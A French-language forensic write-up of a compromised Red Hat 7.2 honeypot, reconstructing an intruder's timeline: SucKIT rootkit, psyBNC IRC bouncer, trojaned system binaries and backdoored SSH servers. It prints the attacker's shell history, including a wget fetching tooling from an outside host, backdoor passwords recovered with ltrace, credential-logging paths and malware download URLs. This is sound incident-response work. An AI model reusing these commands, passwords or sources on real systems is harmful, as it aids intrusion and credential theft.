-rwxr-xr-x   1 root     root        28632 Sun Aug 10 15:32:16 2003 /lib/.x/sk
SucKIT version 1.3b
-rw-r--r--   1 root     root            6 Sun Aug 10 15:32:17 2003 /lib/.x/s/pid
25241: pid de xopen
-rw-r--r--   1 root     root         2442 Sun Aug 10 15:32:17 2003 /lib/.x/install.log
SucKIT install log
-rw-r--r--   1 root     root          222 Sun Aug 10 15:32:17 2003 /lib/.x/hide.log
SucKIT log
-rwxr-xr-x   1 apache   apache       1223 Sun Aug 10 15:32:17 2003 /lib/.x/.boot
Script shell qui envoie par mail des informations à skiZophrenia_sick@yahoo.com

/lib/.x/.boot a été lancé:

/lib/.x/.boot a été déplacé depuis /var/tmp/.boot (Rechercher l'inode 104396 sous Autopsy)

15:40 FTP sur izolam.net

Extrait du fichier /lib/.x/s/mfs

============================================================
Time: Sun Aug 10 15:40:47     Size: 100
Path: 192.168.1.79 => 63.99.224.38 [21]
------------------------------------------------------------

============================================================
Time: Sun Aug 10 15:40:50     Size: 80
Path: 192.168.1.79 => 63.99.224.38 [21]
------------------------------------------------------------

============================================================
Time: Sun Aug 10 15:40:56     Size: 60
Path: 192.168.1.79 => 63.99.224.38 [21]
------------------------------------------------------------

============================================================
Time: Sun Aug 10 15:41:08     Size: 40
Path: 192.168.1.79 => 63.99.224.38 [21]
------------------------------------------------------------

============================================================
Time: Sun Aug 10 15:41:32     Size: 20
Path: 192.168.1.79 => 63.99.224.38 [21]
------------------------------------------------------------

Des connexions FTP ont été faites sur 63.99.224.38, mais on ignore ce qui a été téléchargé.

15:49 sslstop

[root@sbm79 root]# tar tvzf sslstop.tar.gz
drwxrwxr-x tvc/tvc           0 2002-10-16 13:30:29 sslstop/
-rw-rw-r-- tvc/tvc          87 2002-10-15 12:31:50 sslstop/Makefile
-rw-rw-r-- tvc/tvc        2794 2002-10-15 13:10:57 sslstop/sslport.c
-rw-rw-r-- tvc/tvc        1809 2002-10-15 13:00:10 sslstop/sslstop.c

/root/sslstop.tar.gz a été déplacé depuis /lib/.x/s.tgz sslstop modifie le fichier httpd.conf pour désactivé le support SSL. sslport modifie ce même fichier pour remplacer le port HTTPS par défaut(443) en un autre. Parce que HAVE_SSL a été remplacé par HAVE_SSS dans le fichier de configuration/etc/httpd/conf/httpd.conf, on sait que sslstop a été utilisé.

-rw-r--r--   1 root     root         1627 Sun Aug 10 15:49:47 2003 /root/sslstop.tar.gz
-rw-rw-r--   1 500      500            87 Sun Aug 10 15:50:46 2003 /root/sslstop/Makefile
-rw-rw-r--   1 500      500          1809 Sun Aug 10 15:50:46 2003 /root/sslstop/sslstop.c
-rwxr-xr-x   1 root     root        16452 Sun Aug 10 15:52:00 2003 /root/sslstop/sslstop
-rwxr-xr-x   1 root     root        17351 Sun Aug 10 15:52:00 2003 /root/sslstop/sslport
-rw-------   1 root     root          235 Sun Aug 10 15:54:04 2003 /.bash_history
-rw-r--r--   1 root     root        50851 Sun Aug 10 15:54:18 2003 /etc/httpd/conf/httpd.conf
-rw-rw-r--   1 500      500          2794 Sun Aug 10 15:54:48 2003 /root/sslstop/sslport.c
id
uptime
./inst
hostname
hostname sbm79.dtc.apu.edu
cd /dev/shm/sc
./install sbm79.dtc.apu.edu
rm -rf /var/mail/root
ps x
cd /tmp
ls -a
wget izolam.net/sslstop.tar.gz
ps x
ps aux | grep apache
kill -9  21510  21511 23289  23292 23302

La timeline fournie énormement d'informations. Par exemple, à 15:56:11, le fichier /etc/pam.d/su a été accédé, le pirate a donc utilisé la commande su.

15:57 Installation de psyBNC

-rw-r--r--   1 root     root       312188 Sun Aug 10 15:57:12 2003 /etc/opt/psyBNC2.3.1.tar.gz
drwxr-xr-x   2 root     root         8192 Sun Aug 10 15:57:33 2003 /etc/opt/psybnc/help
drwxr-xr-x   2 root     root         4096 Sun Aug 10 15:57:33 2003 /etc/opt/psybnc/lang
drwxrwxr-x   3 root     root         4096 Sun Aug 10 15:57:33 2003 /etc/opt/psybnc/menuconf
drwxrwxr-x   3 root     root         4096 Sun Aug 10 15:57:33 2003 /etc/opt/psybnc/scripts
-rw-r--r--   1 root     root        31507 Sun Aug 10 15:57:33 2003 /etc/opt/psybnc/CHANGES
-rw-------   1 root     root        17982 Sun Aug 10 15:57:33 2003 /etc/opt/psybnc/COPYING
-rw-r--r--   1 root     root         2661 Sun Aug 10 15:57:33 2003 /etc/opt/psybnc/FAQ
-rw-r--r--   1 root     root         2129 Sun Aug 10 15:57:33 2003 /etc/opt/psybnc/Makefile
-rw-r--r--   1 root     root        35785 Sun Aug 10 15:57:33 2003 /etc/opt/psybnc/README
-rw-r--r--   1 root     root        15738 Sun Aug 10 15:57:33 2003 /etc/opt/psybnc/SCRIPTING
-rw-r--r--   1 root     root          509 Sun Aug 10 15:57:33 2003 /etc/opt/psybnc/TODO
-rw-------   1 root     root          929 Sun Aug 10 15:57:33 2003 /etc/opt/psybnc/config.h
-rwxrwxr-x   1 root     root          369 Sun Aug 10 15:57:33 2003 /etc/opt/psybnc/psybncchk
-rw-------   1 1004     490          3901 Sun Aug 10 15:57:33 2003 /etc/opt/psybnc/targets.mak
drwxrwxr-x   2 root     root         4096 Sun Aug 10 16:01:17 2003 /etc/opt/psybnc/tools
-rw-r--r--   1 root     root          729 Sun Aug 10 16:01:17 2003 /etc/opt/psybnc/makefile.out
-rwxr-xr-x   1 root     root        16856 Sun Aug 10 16:01:18 2003 /etc/opt/psybnc/makesalt
drwxr-xr-x   2 root     root         4096 Sun Aug 10 16:01:41 2003 /etc/opt/psybnc/src

psyBNC a été téléchargé depuis www.psychoid.lam3rz.de/psybnc. c'est une sorte de proxy IRC que l'on peut utiliser pour apparaître toujours en ligne.

16:02:46 psyBNC est lancé

-rw-------   1 root     root            6 Sun Aug 10 16:02:46 2003 /etc/opt/psybnc/psybnc.pid
-rwxr-xr-x   1 root     root       214636 Sun Aug 10 16:02:36 2003 /etc/opt/psybnc/initd
-rw-------   1 root     root         2622 Sun Aug 10 18:00:49 2003 /etc/opt/psybnc/log/psybnc.log
-rw-r--r--   1 root     root           47 Sun Aug 10 16:04:15 2003 /usr/lib/libice.log
root     15119  0.0  1.3  2296 1240 ?        S    16:02   0:00 initd

Extrait du fichier /usr/lib/libice.log

proxyscan.undernet.org => 192.168.1.79 [23]
?k

Extrait de /lib/.x/s/mfs

============================================================
Time: Sun Aug 10 16:04:13     Size: 44
Path: proxyscan.undernet.org => 192.168.1.79 [23]
------------------------------------------------------------

De /var/log/secure

Aug 10 16:04:14 localhost xinetd[732]: START: telnet pid=15169 from=193.109.122.5

Extrait de psybnc.log

Sun Aug 10 16:02:46 :Listener created :0.0.0.0 port 65336
Sun Aug 10 16:02:46 :Listener created :0.0.0.0 port -100
Sun Aug 10 16:02:46 :Can't create listening sock on host * port -200 (bind)
Sun Aug 10 16:02:46 :Loading all Users..
Sun Aug 10 16:02:46 :No Users found.
Sun Aug 10 16:02:46 :psyBNC2.3.1-cBtITLdDMSNp started (PID :15119)
Sun Aug 10 16:03:32 :connect from sanido-09.is.pcnet.ro
Sun Aug 10 16:03:32 :New User:sic (wqewqde dedwqere) added by sic
Sun Aug 10 16:03:36 :User sic () has no server added
Sun Aug 10 16:04:06 :User sic () trying fairfax.va.us.undernet.org port 6667 ().
Sun Aug 10 16:04:06 :User sic () connected to fairfax.va.us.undernet.org:6667 ()
Sun Aug 10 16:04:47 :Hop requested by sic. Quitting.
Sun Aug 10 16:04:47 :User sic got disconnected from server.
Sun Aug 10 16:04:51 :User sic () trying fairfax.va.us.undernet.org port 6667 ().
===============================================================================================
-rw-------   1 root     root          512 Sun Aug 10 16:32:18 2003 /lib/.x/s/r_s
RandomSeed for SSH server xopen
drwxrwxr-x   2 root     root         4096 Sun Aug 10 17:50:39 2003 /etc/opt/psybnc/log
drwxrwxr-x   2 root     root         4096 Sun Aug 10 17:52:12 2003 /etc/opt/psybnc/motd
-rw-------   1 root     root         1384 Sun Aug 10 18:00:49 2003 /etc/opt/psybnc/psybnc.conf
-rw-------   1 root     root         1384 Sun Aug 10 18:00:49 2003 /etc/opt/psybnc/psybnc.conf.old
Sun Aug 10 16:06:08 :User sic quitted (from sanido-09.is.pcnet.ro)
Sun Aug 10 16:06:24 :connect from sanido-09.is.pcnet.ro
Sun Aug 10 16:06:25 :User sic logged in.
Sun Aug 10 16:06:57 :User sic quitted (from sanido-09.is.pcnet.ro)
Sun Aug 10 16:06:59 :connect from sanido-09.is.pcnet.ro
Sun Aug 10 16:06:59 :User sic logged in.
Sun Aug 10 16:07:26 :User sic quitted (from sanido-09.is.pcnet.ro)
Sun Aug 10 16:07:34 :connect from sanido-09.is.pcnet.ro
Sun Aug 10 16:07:47 :User sic logged in.
Sun Aug 10 16:08:00 :User sic: cant connect to fairfax.va.us.undernet.org port 6667.
Sun Aug 10 16:08:06 :User sic () trying fairfax.va.us.undernet.org port 6667 ().
Sun Aug 10 16:08:06 :User sic () connected to fairfax.va.us.undernet.org:6667 ()
Sun Aug 10 16:11:30 :User sic quitted (from sanido-09.is.pcnet.ro)
===============================================================================================
Sun Aug 10 17:49:41 :connect from sanido-08.is.pcnet.ro
Sun Aug 10 17:49:47 :User sic logged in.
Sun Aug 10 17:50:39 :New User:redcode (^C4,1redCode^C8Chicken^C) added by sic
Sun Aug 10 17:50:51 :User redcode () has no server added
Sun Aug 10 17:51:22 :connect from sanido-08.is.pcnet.ro
Sun Aug 10 17:51:22 :User redcode logged in.
Sun Aug 10 17:51:36 :User redcode () trying mesa.az.us.undernet.org port 6667 ().
Sun Aug 10 17:51:36 :User redcode () connected to mesa.az.us.undernet.org:6667 ()
Sun Aug 10 17:51:42 :User redcode () got disconnected (from mesa.az.us.undernet.org) Reason: Closing Link: killme by mesa.az.us.undernet.org (Sorry, your connection class is full - try again later or try another server)
Sun Aug 10 17:52:06 :User redcode () trying mesa.az.us.undernet.org port 6667 ().
Sun Aug 10 17:52:06 :User redcode () connected to mesa.az.us.undernet.org:6667 ()
Sun Aug 10 18:00:49 :User redcode quitted (from sanido-08.is.pcnet.ro)
===============================================================================================

En utilisant psyBNC2, l'utilisateur sic s'est connecté depuis sanido-09.is.pcnet.ro au serveur IRC fairfax.va.us.undernet.org. Il a créé un compte nommé redcode. On le verra ce nom n'est pas innocent.

18:58 connection ssh

Extrait de /var/log/secure

Aug 10 18:58:33 localhost sshd[15287]: Did not receive identification string from 202.85.165.46.

20:30 Suspension du système VMware

Le système est été suspendu pour analyse.

1. Décrire le processus que vous avez utilisé pour confirmer que le système a été compromis tout en réduisant l'impact sur le système et en minimisant toute confiance en ce système

2. Expliquer l'impact de nos actions sur le système.

Comme nous l'avons vu, le système est clairement compromis et l'impact de nos commandes est nul car VMware permet de restaurer le système dans l'état initial. Cependant l'utilisation de la commande passwd, puis ssh pour transférer une copie du disque est clairement visible dans la timeline d'Autopsy.

3. Lister les PID des processus ayant des ports suspects ouverts (par exemple des ports autre que ceux par défaut d'une Red Hat 7.2).

Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name Banner
(using telnet)
tcp 0 0 0.0.0.0:113 0.0.0.0:* LISTEN 677/identd
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN 699/sshd
SSH-1.99-OpenSSH_2.9p2
tcp 0 0 0.0.0.0:79 0.0.0.0:* LISTEN 732/xinetd
finger @192.168.1.79
Login     Name       Tty      Idle  Login Time   Office     Office Phone
root      root       tty1           Aug  9 14:35
tcp 0 0 0.0.0.0:21 0.0.0.0:* LISTEN 732/xinetd
220 sbm79.dtc.apu.edu FTP server (Version wu-2.6.1-18) ready.
tcp 0 0 0.0.0.0:23 0.0.0.0:* LISTEN 732/xinetd
Red Hat Linux release 7.2 (Enigma)
Kernel 2.4.7-10 on an i686

This server is operated for authorized users only. All use
is subject to monitoring. Unauthorized users are subject
to prosecution. If you're not authorized, LOG OFF NOW!

login:
tcp 0 0 127.0.0.1:25 0.0.0.0:* LISTEN 759/sendmail: accep
tcp 0 0 0.0.0.0:139 0.0.0.0:* LISTEN 845/smbd
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN 3137/smbd -D
tcp 0 0 0.0.0.0:443 0.0.0.0:* LISTEN 3137/smbd -D
tcp 0 0 0.0.0.0:2003 0.0.0.0:* LISTEN 3137/smbd -D
SSH-1.5-By-ICE_4_All ( Hackers Not Allowed! )
tcp 0 0 0.0.0.0:65336 0.0.0.0:* LISTEN 15119/initd
:Welcome!psyBNC@lam3rz.de NOTICE * :psyBNC2.3.1
tcp 0 0 0.0.0.0:65436 0.0.0.0:* LISTEN 15119/initd
:Welcome!psyBNC@lam3rz.de NOTICE * :psyBNC2.3.1
tcp 0 0 0.0.0.0:3128 0.0.0.0:* LISTEN 25241/xopen
SSH-1.5-1.2.32
udp 0 0 0.0.0.0:3049 0.0.0.0:* LISTEN 25239/xopen backdoor from ELF_GMON.A virus

Les PID des programmes suspects sont

4. Il y a t-il des connections réseaux actives ? Si oui, quelles sont les adresses et services impliqués, dans quel but ?

tcp        0      0 192.168.1.79:65336      213.154.118.200:1188    ESTABLISHED 15119/initd
tcp        0      9 192.168.1.79:1149       64.62.96.42:6667        ESTABLISHED 15119/initd
tcp        0      0 192.168.1.79:1146       199.184.165.133:6667    ESTABLISHED 15119/initd

psyBNC a été contacté par 213.154.118.200 (sanido-08.is.pcnet.ro) et s'est connecté sur les serveurs IRC 64.62.96.42 (mesa.az.us.undernet.org) et 199.184.165.133 (undernet.irc.rcn.net).

5. Combien d'instances de serveur SSH ont été installés et quand ?

Avec Autopsy, chercher la chaîne de texte SSH_ORIGINAL_COMMAND, cette chaîne est présente dans les serveurs SSH.

FragmentOffsetFichierDate d'installation
389381340/lib/.x/s/xopenSun Aug 10 15:32:16 2003
398253370rootkit/udhss in rootkit.tar (Deleted, Fragment 39390-39943 ?)
400452538? (effacé)
1130672394/usr/share/doc/openssh-2.9p2/ChangeLog
1143722250/usr/lib/sp0Sun Aug 10 15:30:54 2003
115419810rootkit/udhss (effacé)
1383353960/usr/sbin/sshd correspond au checksum d'origine (93289e1e63b0b798117f64818a3b0ad7), le rpm a été installé le lundi 14 juillet 2003 01:54:37 PDT (rpm -qi openssh-server). La date de création est du dimanche 10 août 13:33:57, mais c'est parce que la commande chattr a été utilisé sur tout les fichiers du répertoire.
201213586/usr/bin/smbd -D, copie de sand/ava1 (MD5: 0c9fd2ff1740a4ae5b4a1a3a82846f44)Sun Aug 10 13:33:33 2003

Le fragment 115419 appartient à un serveur SSH . Comme SSH_ORIGINAL_COMMAND a été trouvé au même offset (810) que dans rootkit/udhss, ce fragment a du être utilisé par rootkit/udhss.

[kmaster@christophe sotm29]$ strings -fa -t d abc/nou sand/ava1 sand/sshd rootkit/udhss adore/sp0|grep "SSH_ORIGINAL_COMMAND"
abc/nou:  156234 SSH_ORIGINAL_COMMAND
sand/ava1:  156234 SSH_ORIGINAL_COMMAND
sand/sshd:  156234 SSH_ORIGINAL_COMMAND
rootkit/udhss:  152362 SSH_ORIGINAL_COMMAND
adore/sp0:  166090 SSH_ORIGINAL_COMMAND
[kmaster@christophe sotm29]$ echo "156234 % 4096"|bc
586
[kmaster@christophe kmaster]$ echo "152362 % 4096"|bc
810
[kmaster@christophe sotm29]$ echo "166090 % 4096"|bc
2250

rk.tar.gz et abc.tgz ont été téléchargé sur le serveur. rk.tar.gz a été décompressé car le fichier /usr/bin/smbd -D en faisant partie a été installé, par contre, abc.tgz ne semble pas avoir été utilisé. Il y a donc potentiellement deux serveurs SSH:

6. Quelles instances des serveurs SSH de la question 5 ont été exécutées ?

Les serveurs SSH suivants sont en service (ps):

7. Est-ce que certains des serveurs SSH identifiés dans la question 5 ont été modifiés pour collecter des informations ? Si oui, est-ce que des informations ont été ainsi obtenues ?

/lib/.x/s/xopen

/lib/.x/s/xopen est un serveur SSH version 1.2.32 écoutant sur le port TCP 3128. ./strace -f -p 25241 -e trace=file exécuté sur le serveur ne révèle aucun accès suspect à des fichiers. Par contre, il y a la backdoor créé par le virus ELF_GMON.A sur le port UDP 3049, cette backdoor est ouverte quand xopen est lancé en tant que root. Ce virus détecte quand il est tracé en appelant ptrace (man 2 ptrace) pour éviter la détection par strace, ltrace et des outils similaires.

/usr/lib/sp0

Aucune backdoor trouvé en dehors de celle de ELF_RST.B.

[kmaster@christophe sotm29]$ strings -a adore/sp0|less
/lib/ld-linux.so.2
__gmon_start__
...
/bin/sh
xxxxyyyyzzzz
Y[XXXXXX
GET /~telcom69/gov.php HTTP/1.0
ppp0
eth0
...
snortdos
tory

rootkit/udhss

[root@sbm79 root]# ./ltrace ./udhss -d -f /usr/lib/sp0_cfg -p 1236
debug: sshd version 1.2.27 [i586-unknown-linux]
debug: Initializing random number generator; seed file /usr/lib/sp0_seed
log: Server listening on port 1236.
log: Generating 768 bit RSA key.
Generating p:  ...............++ (distance 308)
Generating q:  ...............++ (distance 292)
Computing the keys...
Testing the keys...
Key generation complete.
log: RSA key generation complete.

ltrace a été incapable de le tracer! gdb 5.2 ne peut ouvrir ce fichier. Ce fichier a été extrait d'un fichier tar récupéré depuis l'image du disque dur, archive tar endommagé.

[kmaster@christophe sotm29]$ strings -a rootkit/udhss
/lib/ld-linux.so.2
__gmon_start__
...
invalid distance code
invalid literal/length code
OSF
...

Les chaînes __gmon_start__ et OSF sont présentes. Ce fichier semble infecté by le virus ELF_GMON.A même si l'antivirus ne l'a pas détecté.

/usr/sbin/sshd

Serveur SSH original.

/usr/bin/smbd -D

/usr/bin/smbd -D est un serveur SSH écoutant sur le port TCP 2003. Sur le honeypot, lançons strace sur le serveur SSH (strace -p PID_of_SSH_server). Puis, connectons nous en SSH sur le port 2003 du serveur

strace
+-[ User Login Incoming ]----------- --- --- - -
| username: %s password: %s%s hostname: %s
+----------------------------------- ----- --- -- -- -

smbd -D sauvegarde le login et le mot de passe dans /usr/lib/libshlog. Ce fichier n'existait pas jusqu'à présent. L'étape suivante a été de rechercher une backdoor en relevant tout les appels aux fonctions des librairies avec ltrace.

[root@sbm79 log]# /root/ltrace /usr/bin/smbd\ -D  -d
...
crypt("pipo", "$1$YTukJ7rA$whP0Cq6ndzl.1wxKGo0b"...) = "$1$YTukJ7rA$r2C6cpOLe69xF6qOQvKE"...
strcmp("$1$YTukJ7rA$r2C6cpOLe69xF6qOQvKE"..., "$1$YTukJ7rA$whP0Cq6ndzl.1wxKGo0b"...) = -1
strcmp("pipo", "rossignol")                       = -1

Bingo, il y a une backdoor, son mot de passe est rossignol (Comme le passe partout, pas l'oiseau).

sand/sshd

[root@sbm79 root]# ./ltrace ./sshd -d -p 1235
...
crypt("root", "$1$YTukJ7rA$whP0Cq6ndzl.1wxKGo0b"...) = "$1$YTukJ7rA$whP0Cq6ndzl.1wxKGo0b"...
strcmp("$1$YTukJ7rA$whP0Cq6ndzl.1wxKGo0b"..., "$1$YTukJ7rA$whP0Cq6ndzl.1wxKGo0b"...) = 0
fopen("/usr/lib/libsh.so", "a")                   = 0x08089fd8
fprintf(0x08089fd8, "+-[ User Login Incoming ]-------"...) = 49
fprintf(0x08089fd8, "| username: %s password: %s%s ho"..., "root", "root", "") = 54
fprintf(0x08089fd8, "+-------------------------------"...) = 56
fclose(0x08089fd8)                                = 0
strcmp("root", "axion")                           = 1

Il y a une backdoor avec le mot de passe axion et les mots de passe sont enregistrés dans le fichier /usr/lib/libsh.so.

abc/nou

[root@sbm79 root]# ./ltrace ./nou -d -p 1234
...
crypt("root", "$1$YTukJ7rA$whP0Cq6ndzl.1wxKGo0b"...) = "$1$YTukJ7rA$whP0Cq6ndzl.1wxKGo0b"...
strcmp("$1$YTukJ7rA$whP0Cq6ndzl.1wxKGo0b"..., "$1$YTukJ7rA$whP0Cq6ndzl.1wxKGo0b"...) = 0
fopen("/usr/lib/libshlog", "a")                   = 0x08089fd0
fprintf(0x08089fd0, "+-[ User Login Incoming ]-------"...) = 49
fprintf(0x08089fd0, "| username: %s password: %s%s ho"..., "root", "root", "") = 54
fprintf(0x08089fd0, "+-------------------------------"...) = 56
fclose(0x08089fd0)                                = 0
strcmp("root", "UpguarD")                         = 1

Il y a une backdoor avec le mot de passe UpguarD et les mots de passe sont enregistrés dans le fichier /usr/lib/libshlog.

Aucun login/password ne semble avoir été collecté par ces serveurs SSH.

8. Quels exécutables systèmes (s'il y en a) ont été troyanisé et quels fichiers de configuration utilisent-ils ?

TrojanFichier de configuration
/usr/bin/top
  • /etc/psdevtab
  • /dev/ttyop
/bin/netstat
  • /dev/ttyoa
/bin/ls
  • /dev/ttyof
/bin/ps
  • /etc/psdevtab
  • /dev/ttyop
/sbin/ifconfig
/etc/rc.d/init.d/functions Lance /usr/bin/crontabs -t1 -X53 -p
/etc/rc.d/rc.sysinit Lance kflushd mais ce fichier n'existe pas.

rk.tar.gz: troyen, sniffer et serveur SSH

9. Comment et d'où le système a été vraisemblablement compromis ?

Le serveur a été piraté depuis 213.154.118.219 en exploitant la faille SSL handshake d'Apache. En utilisant cette vulnérabilité, le pirate a obtenu un accès distant en tant qu'utilisateur apache. Extrait du fragment 114381, Apache: ssl_engine_log,

[10/Aug/2003 13:24:29 02937] [error] SSL handshake failed (server localhost.localdomain:443, client 213.154.118.219) (OpenSSL library error follows)
[10/Aug/2003 13:24:29 02937] [error] OpenSSL: error:1406908F:SSL routines:GET_CLIENT_FINISHED:connection id is different
[10/Aug/2003 13:32:38 03024] [error] SSL handshake failed (server localhost.localdomain:443, client 213.154.118.219) (OpenSSL library error follows)
[10/Aug/2003 13:32:38 03024] [error] OpenSSL: error:1406908F:SSL routines:GET_CLIENT_FINISHED:connection id is different

De nouveaux fichiers appartenant à apache ont fait leurs apparitions sur le serveur mais rapidement le pirate est devenu root en utilisant /dev/shm/k, un exploit pour la faille locale Linux kernel ptrace/kmod.

Question Bonus: De quelle nationalité serait le pirate, et pourquoi ?

Le pirate a utilisé plusieurs ordinateurs de Roumanie:

Dans les scripts shell, dans la configuration de psyBNC (/etc/opt/psybnc/psybnc.conf), il y a de nombreuses références à redcode. La commande strings permet de trouver dans la mémoire l'URL http://redCode.strobe.org. Il s'agit du site web d'une équipe de pirate roumain: "...sunt doar un purtator de cunostinte, care a reusit sa inteleaga cum functioneaza cu adevarat lumea si sunt dispus ca experienta si cunostintele mele sa foloseasca celor care cu nerabdare cauta adevarata libertate..." Le site web a des liens vers redcode.go.ro.

Selon toute vraisemblance, le pirate a comme pseudo IRC sic et fait partit de l'équipe de pirates roumains redCode.


Christophe GRENIER
Consultant Sécurité chez Global Secure
Site perso: http://www.cgsecurity.org
Email perso: grenier@cgsecurity.org

Annexe

SourceAnalyseDescription
http://irinel1979.go.ro/a.tgza.tgzLinux kernel ptrace/kmod local root exploit
http://geocities.com/gavish19/abc.tgzabc.tgzSSH server
http://irinel1979.go.ro/er.tgzer.tgzshkit-v4-internal release 2002, a SSH server backdoor
http://izolam.net/godsgodsadore LKM and SSH server
http://inel1979.go.ro/mass2.tgzmass2.tgzHTTPS scanner, exploit pour la faille Apache SSL handshake
http://geocities.com/mybabywhy/rk.tar.gzrk.tar.gztroyen, sniffer, serveur SSH
http://geocities.com/mybabywhy/rk.tar.gz (n'existe plus)/fragment 39390-39943rootkit.tarserveur SSH, security scanner, exploits...
http://izolam.net/sslstop.tar.gzsslstop.tgzModifie la configuration d'Apache
http://www.i-need-ftp.as.ro/ttt.tgzttt.tgzPlasmatik-v1-internal release 2002, serveur SSH backdoor similair à shkit
http://hysteria.sk/sd/sk/SucKIT, Linux-i386 kernel-based rootkit
http://www.psychoid.lam3rz.de/psybncpsyBNC, IRC bouncer/proxy/...

Fragment du disque

Fichiers de données

Links